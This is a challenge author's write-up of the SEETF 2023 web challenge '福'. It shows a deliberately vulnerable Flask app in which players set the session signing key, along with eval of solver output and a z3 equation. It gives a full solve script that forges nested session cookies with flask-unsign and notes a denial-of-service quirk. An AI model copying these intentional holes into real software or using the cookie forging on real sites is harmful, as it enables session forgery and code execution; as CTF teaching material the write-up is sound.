# SEETF 2023: 福 ## Description ``` ░░░░█▐▄▒▒▒▌▌▒▒▌░▌▒▐▐▐▒▒▐▒▒▌▒▀▄▀▄░ ░░░█▐▒▒▀▀▌░▀▀▀░░▀▀▀░░▀▀▄▌▌▐▒▒▒▌▐░ ░░▐▒▒▀▀▄▐░▀▀▄▄░░░░░░░░░░░▐▒▌▒▒▐░▌ 福福福福! ░░▐▒▌▒▒▒▌░▄▄▄▄█▄░░░░░░░▄▄▄▐▐▄▄▀░░ ░░▌▐▒▒▒▐░░░░░░░░░░░░░▀█▄░░░░▌▌░░░ ▄▀▒▒▌▒▒▐░░░░░░░▄░░▄░░░░░▀▀░░▌▌░░░ ▄▄▀▒▐▒▒▐░░░░░░░▐▀▀▀▄▄▀░░░░░░▌▌░░░ ░░░░█▌▒▒▌░░░░░▐▒▒▒▒▒▌░░░░░░▐▐▒▀▀▄ ░░▄▀▒▒▒▒▐░░░░░▐▒▒▒▒▐░░░░░▄█▄▒▐▒▒▒ ▄▀▒▒▒▒▒▄██▀▄▄░░▀▄▄▀░░▄▄▀█▄░█▀▒▒▒▒ ``` **Author:** jeyas\ **Category:** Web\ **Flag:** `SEE{H0w_f0rtun4T3_Y3t_An0theR__FL4sk_UnSigN_}`\ **Difficulty:** Easy It all started from this tweet by [@sahuang97](https://twitter.com/sahuang97) about z3 and crypto CTF challenges. > z3 is too strong, author making a difficult CTF Crypto challenge probably should test against SMT if they do not wish unintended to happen (i.e. solve without deep understanding/diff analysis of the cryptosystem)? Any thought on this? > > — sahuang (@sahuang97) [March 2, 2023](https://twitter.com/sahuang97/status/1631212420516708352?ref_src=twsrc%5Etfw) For those who don't do crypto challenges, z3 is a (Satisfiability Modulo Theories) solver that basically takes in logical problems and determines if there's a solution (satisfiable) or not (unsatisfiable).\ \ Because crypto challenges usually involve decrypting or breaking some sort of encoded/ciphered text, these challenges can be translated into a set of logical problems, where each problem is finding a key or part of a key. ### Who let bro cook? After reading the tweet, I decided to play around with z3. I soon discovered that while z3 can find solutions, it may not always be the one you want. This got me thinking about creating a web challenge that would reverse this approach. Instead of using z3 to find the solution, participants would already know the solution and try to force z3 to calculate it. I thought this concept was pretty interesting. You have this tool that typically takes shortcuts to find any solution, but you're trying to do the opposite of what it was made to do. To me, it felt like coaxing a fortune teller to tell you that you have good fortune -so I named the challenge 福 . And so, with far too much bravado, I whipped up a terrible Proof-of-Concept and posted it on the[ Social Engineering Experts ](https://seetf.sg/)discord.

I know the code looks *very very bad.* In my defense, I wrote it very late at night and I didn't think it would actually be a challenge.

Normally, this would have just ended here. Another crazy idea for the wastebasket. However, [zeyu ](https://zeyu2001.com)replied and ***didn't*** say it was the worst thing he ever saw.

imagine reading the worst code ever and saying such nice things, thank you.

At this point, I ***(dubiously)*** decided that this idea was worth pursuing and decided to actually make this a web challenge. However I still had one thing to figure out: what's were my ~~victims~~ players supposed to solve? To the best of my knowledge, there had not been a web ctf involving z3 in the backend (thank god), so I was kinda stumped as to how I wanted players to exploit this challenge. Well, I knew I wanted to use flask, because I was most comfortable with python and I could use z3-solver as a module for the backend. I also knew that I wanted players to solve an equation and derive `31119`, so `eval(chr(31119))` could read the `福` variable. (the flag) At first, I thought of making the equation ridiculously hard ([Sum of three cubes problem](https://en.wikipedia.org/wiki/Sums_of_three_cubes)), but thankfully, saner thoughts prevailed. I took a look at CTF writeups involving flask web applications and almost all of them involved SSTI or leaking the flask session cookie signing secret and using [flask-unsign](https://github.com/Paradoxis/Flask-Unsign) to sign your own session cookies. I thought this was pretty boring. To me, using `{{7*7}}` and bruteforcing session cookies seemed pretty much like every other challenge out there. After a lot of pondering, and serious consideration on whether I should kill this project, I decided to turn the turntables again. If flask challenges were usually about leaking the session cookie signing secret, ***I would let the players set the signing secrets themselves.*** ### Solution The flag is stored as a variable with the 福 (fú) character, which has a charcode of [31119](https://gchq.github.io/CyberChef/#recipe=To_Charcode$'Space',10$\&input=56aP). We'll be looking to set `result` to 31119 so `return eval(chr(result))` prints the flag. ```python with open('flag.txt') as flag: contents = flag.read() 福 = contents.strip() #------------> Snip! if result is not None: return eval(chr(result)) else: return 'Bad Luck.' ``` The /福 endpoint only accepts POST requests and a single `key` parameter. This is then set to `app.config['SECRET_KEY']`, which is what flask uses to [sign session cookies](https://flask.palletsprojects.com/en/2.2.x/config/#SECRET_KEY). While the `app.config['SECRET_KEY']` is not necessary for *decoding* session keys. The secret used to sign session cookies must equal `app.config['SECRET_KEY']` for it to be considered as the `session` object. ```python keys = [] #------------> Snip! @app.route('/福', methods=['POST']) def fortold(): keys.clear() start = request.form.get('key') app.config['SECRET_KEY'] = start replace_secret_key() value = [secret(key) for key in keys] result = solve(*value) if result is not None: return eval(chr(result)) else: return 'Bad Luck.' ``` #### Just leak the SECRET\_KEY... oh wait. Essentially, the `replace_secret_key()` function is a recursive function that stores the `session['key']` attribute and updates itself with the `sesssion['session']` attribute. It does so until the `session['key']` attribute is in the `keys` array and has the `session['end']` attribute. ```python def replace_secret_key(): if 'key' in session and session['key'] not in keys: keys.append(session['key']) app.config["SECRET_KEY"] = session['key'] if 'session' in session and 'end' not in session: new_session = session['session'] session.update(decrypt_cookie(new_session)) replace_secret_key() ``` #### Wait... secret? Next, the values of `key` are passed to the `secret()` function. These values are used to set the `random.seed` and generate a random integer from 8 to 88888 (inclusive). These values are then passed to the `solve()` function ```python def secret(key): random.seed(key) return random.randint(8, 88888) ``` #### solve()-ing the challenge The `solve()` function uses [z3](https://pypi.org/project/z3-solver/) to check if the 5 values: $$a,b,c,d,f$$ pass to the `solve()` function satisfy the equation: $$8 \le a,b,c,d,e,f \le 88888, \quad a,b,c,d,e,f \in \mathbb{Z}^+$$ $$(a^3) \cdot (b^2 + c^2) \cdot (2d + 1) = e^3 + f^3$$ As e is returned by the function, this implies that: $$e = 31119, e < f$$ > z3 will "assign" the lower values to the variables on the left and higher values to the variables on the right. > Remember that `secret()` can only generate values between 8 and 88888, so those are the bounds. ```python def solve(a_value, b_value, c_value, d_value, f_value): # Create the variables a, b, c, d, e, f = Ints('a b c d e f') # Set the relationships between the variables constraints = [And(8 <= v) for v in [a, b, c, d, e, f]] constraints += [a == a_value] constraints += [b == b_value] constraints += [c == c_value] constraints += [d == d_value] constraints += [f == f_value] constraints += [(a ** 3) * (b**2 + c**2) * (2*d + 1) == (e**3) + (f**3)] # Find a satisfying solution s = Solver() s.add(constraints) if s.check() == sat: m = s.model() return int(m[e].as_long()) else: return None ``` There are many solutions to this problem( the simplest using [prime factorization](https://www.wolframalpha.com/input?i=solve+%2841%5E3%29%28b%5E2%2Bc%5E2%29%282d%2B1%29++%3D++%282%29%2831119%5E3%29+over+the+integers+)). For the purposes of this solution, I will be using $$f = 88888$$ which yields $$a = 41, b = 1728, c = 803, d = 1463$$ > What an auspicious value! 😊🧧 #### Tying it all together First I'll use itertools to find valid seeds that generate the correct math variables. ```python import random import itertools def secret(value): random.seed(value) return random.randint(8, 88888) values_to_find = [41, 1728, 803, 1463, 88888] found_values = [] for combination in itertools.product('abcdefghijklmnopqrstuvwxyz', repeat=4): input_value = ''.join(combination) result = secret(input_value) if result in values_to_find: found_values.append(input_value) values_to_find.remove(result) print(result) if not values_to_find: print("Found all four values at index:", found_values) break ''' cdsn:41 aqoi:1728 ewmu:803 aucl:1463 bphi:88888 ''' ``` Next I'll use flask-unsign to recursively sign a flask session key. ```python import requests import subprocess SECRET_KEYS = ["cdsn","aqoi","ewmu","aucl","bphi"] def generate_cookie(secret_key,index=0): if index == len(SECRET_KEYS): cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{"end": "' + secret_key + '"}', '--secret', secret_key]) return cmd_out.decode('utf-8').strip() else: session_hash = generate_cookie(SECRET_KEYS[index], index+1) cmd_out = subprocess.check_output(['flask-unsign', '--sign', '--cookie', '{"key": "' + SECRET_KEYS[index] + '","session":"' + session_hash + '"}', '--secret', secret_key]) return cmd_out.decode('utf-8').strip() cookie = {'session' : generate_cookie(SECRET_KEYS[0])} data = {"key":'cdsn'} response = requests.post('http://福.web.seetf.sg:1337/%E7%A6%8F', cookies=cookie, data=data, proxies={'http':'http://localhost:8080'}) print(response.text) ''' cdsn:41 aqoi:1728 ewmu:803 aucl:1463 bphi:88888 ''' ``` Finally, I can send a POST request to /福 with my cookie!

## Ticket During the CTF I got a ticket from Elma. Apparently, their solution was deriving 31119, but Flask just wasn't returning the flag. In fact, when zeyu checked the instance, even our intended solve script stopped working.\ \ Unfortunately, the CTF concluded before I could respond to Elma's ticket, but I promised to take a closer look at their solve script.\ \ Well, the problem with the solve script was that Elma used integers as seeds for the key instead of strings. Flask uses `hmac.py` for signing/unsigning session cookies, and the `new()` function expects a bytearray or bytes.\ \ When `app.config["SECRET_KEY"]` is set to an integer, an error is raised and Flask responds with a 500 Error even though it's supposed to return the flag. In fact, this causes DOS for any request involving session cookies as Flask throws this error when trying to unsign session cookies.

CVE-2023-jk: DOS in Flask by setting app.config["SECRET_KEY"] to integer

## Retrospect Looking back, I think this was an okay first attempt at writing a challenge. I learned a lot about how docker and docker-compose, as well as about CTF challenge infrastructure.\ \ I think the idea of using z3 and allowing players to sign their own key was nice. I'm glad I didn't make the equation any harder than it is because as my fellow CTF team member [Jules ](https://juliapoo.github.io/)mentioned: If I made it any harder then it should be a crypto challenge. Unfortunately, time constraints were a big issue. If the challenged felt rushed or not well thought out, that's because it was. At that time, I was busy studying for the [OSWE](https://www.offsec.com/courses/web-300/), and whipped out the challenge in a day. ## Conclusion I'd like to offer my heartfelt thanks to Zeyu and the rest of the members from SEE for organizing SEETF! It was an incredible experience that I'll cherish.